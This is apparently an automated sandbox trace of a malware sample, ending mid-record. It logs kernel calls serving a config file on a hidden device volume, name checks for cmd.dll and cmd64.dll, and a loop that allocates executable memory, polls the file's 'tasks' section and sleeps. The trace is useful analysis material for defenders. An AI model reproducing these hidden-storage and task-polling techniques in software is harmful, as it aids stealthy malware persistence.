[0119.917] IdePortDispatch () returned 0x103 [0119.917] KeWaitForMutexObject () returned 0x0 [0119.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.917] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.917] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.917] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.917] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.917] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca0b0 [0119.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.917] KeLeaveCriticalRegion () [0119.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.917] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.917] KeEnterCriticalRegion () [0119.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.917] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.917] KeLeaveCriticalRegion () [0119.917] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.917] KeEnterCriticalRegion () [0119.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.918] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.918] IdePortDispatch () returned 0x103 [0119.918] KeWaitForMutexObject () returned 0x0 [0119.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.918] KeLeaveCriticalRegion () [0119.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.918] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.918] KeEnterCriticalRegion () [0119.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.918] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b11000 [0119.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.918] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.918] IdePortDispatch () returned 0x103 [0119.918] KeWaitForMutexObject () returned 0x0 [0119.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.918] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.918] IdePortDispatch () returned 0x103 [0119.919] KeWaitForMutexObject () returned 0x0 [0119.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.919] KeLeaveCriticalRegion () [0119.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.919] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.919] KeEnterCriticalRegion () [0119.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.919] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.919] KeLeaveCriticalRegion () [0119.919] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.919] KeEnterCriticalRegion () [0119.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.920] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.920] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.920] KeLeaveCriticalRegion () [0119.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.920] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.920] KeEnterCriticalRegion () [0119.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.920] ExFreePoolWithTag (P=0xfffffa8003bca0b0, Tag=0x0) [0119.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.920] KeLeaveCriticalRegion () [0119.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.920] ReleaseMutex (hMutex=0xf0) returned 1 [0119.920] Sleep (dwMilliseconds=0x927c0) [0119.934] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.934] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.934] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.934] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.934] KeEnterCriticalRegion () [0119.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.934] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.934] IdePortDispatch () returned 0x103 [0119.934] KeWaitForMutexObject () returned 0x0 [0119.934] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.934] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.934] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.934] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.934] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.934] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9320 [0119.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.934] KeLeaveCriticalRegion () [0119.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.934] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.934] KeEnterCriticalRegion () [0119.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.934] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.934] KeLeaveCriticalRegion () [0119.934] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.934] KeEnterCriticalRegion () [0119.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.934] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.934] IdePortDispatch () returned 0x103 [0119.935] KeWaitForMutexObject () returned 0x0 [0119.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.935] KeLeaveCriticalRegion () [0119.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.935] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.935] KeEnterCriticalRegion () [0119.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.935] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b16000 [0119.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.935] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.935] IdePortDispatch () returned 0x103 [0119.935] KeWaitForMutexObject () returned 0x0 [0119.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.935] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.935] IdePortDispatch () returned 0x103 [0119.935] KeWaitForMutexObject () returned 0x0 [0119.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.936] KeLeaveCriticalRegion () [0119.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.936] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.936] KeEnterCriticalRegion () [0119.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.936] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.936] KeLeaveCriticalRegion () [0119.936] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.936] KeEnterCriticalRegion () [0119.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.936] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.936] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9a00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.936] KeLeaveCriticalRegion () [0119.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.936] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.936] KeEnterCriticalRegion () [0119.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.936] ExFreePoolWithTag (P=0xfffffa8003bc9320, Tag=0x0) [0119.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.936] KeLeaveCriticalRegion () [0119.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.936] ReleaseMutex (hMutex=0xf0) returned 1 [0119.937] Sleep (dwMilliseconds=0x927c0) [0119.955] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.955] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.955] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.956] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.956] KeEnterCriticalRegion () [0119.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.956] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.956] IdePortDispatch () returned 0x103 [0119.956] KeWaitForMutexObject () returned 0x0 [0119.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.956] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.956] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.956] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.956] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.956] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc9c0 [0119.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.956] KeLeaveCriticalRegion () [0119.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.956] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.956] KeEnterCriticalRegion () [0119.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.956] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.956] KeLeaveCriticalRegion () [0119.956] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.956] KeEnterCriticalRegion () [0119.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.957] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.957] IdePortDispatch () returned 0x103 [0119.957] KeWaitForMutexObject () returned 0x0 [0119.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.957] KeLeaveCriticalRegion () [0119.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.957] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.957] KeEnterCriticalRegion () [0119.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.957] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1b000 [0119.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.957] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.957] IdePortDispatch () returned 0x103 [0119.957] KeWaitForMutexObject () returned 0x0 [0119.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.957] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.957] IdePortDispatch () returned 0x103 [0119.957] KeWaitForMutexObject () returned 0x0 [0119.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.958] KeLeaveCriticalRegion () [0119.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.958] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.958] KeEnterCriticalRegion () [0119.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.958] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.958] KeLeaveCriticalRegion () [0119.958] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.958] KeEnterCriticalRegion () [0119.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.958] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.958] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.958] KeLeaveCriticalRegion () [0119.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.958] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.958] KeEnterCriticalRegion () [0119.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.958] ExFreePoolWithTag (P=0xfffffa8003bcc9c0, Tag=0x0) [0119.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.958] KeLeaveCriticalRegion () [0119.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.959] ReleaseMutex (hMutex=0xf0) returned 1 [0119.959] Sleep (dwMilliseconds=0x927c0) [0119.974] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.974] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.974] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.974] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.974] KeEnterCriticalRegion () [0119.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.974] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.974] IdePortDispatch () returned 0x103 [0119.975] KeWaitForMutexObject () returned 0x0 [0119.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.975] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.975] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.975] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.975] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.975] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6fb0 [0119.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.975] KeLeaveCriticalRegion () [0119.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.975] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.975] KeEnterCriticalRegion () [0119.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.975] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.975] KeLeaveCriticalRegion () [0119.975] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.975] KeEnterCriticalRegion () [0119.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.975] KeInitializeEvent (in: 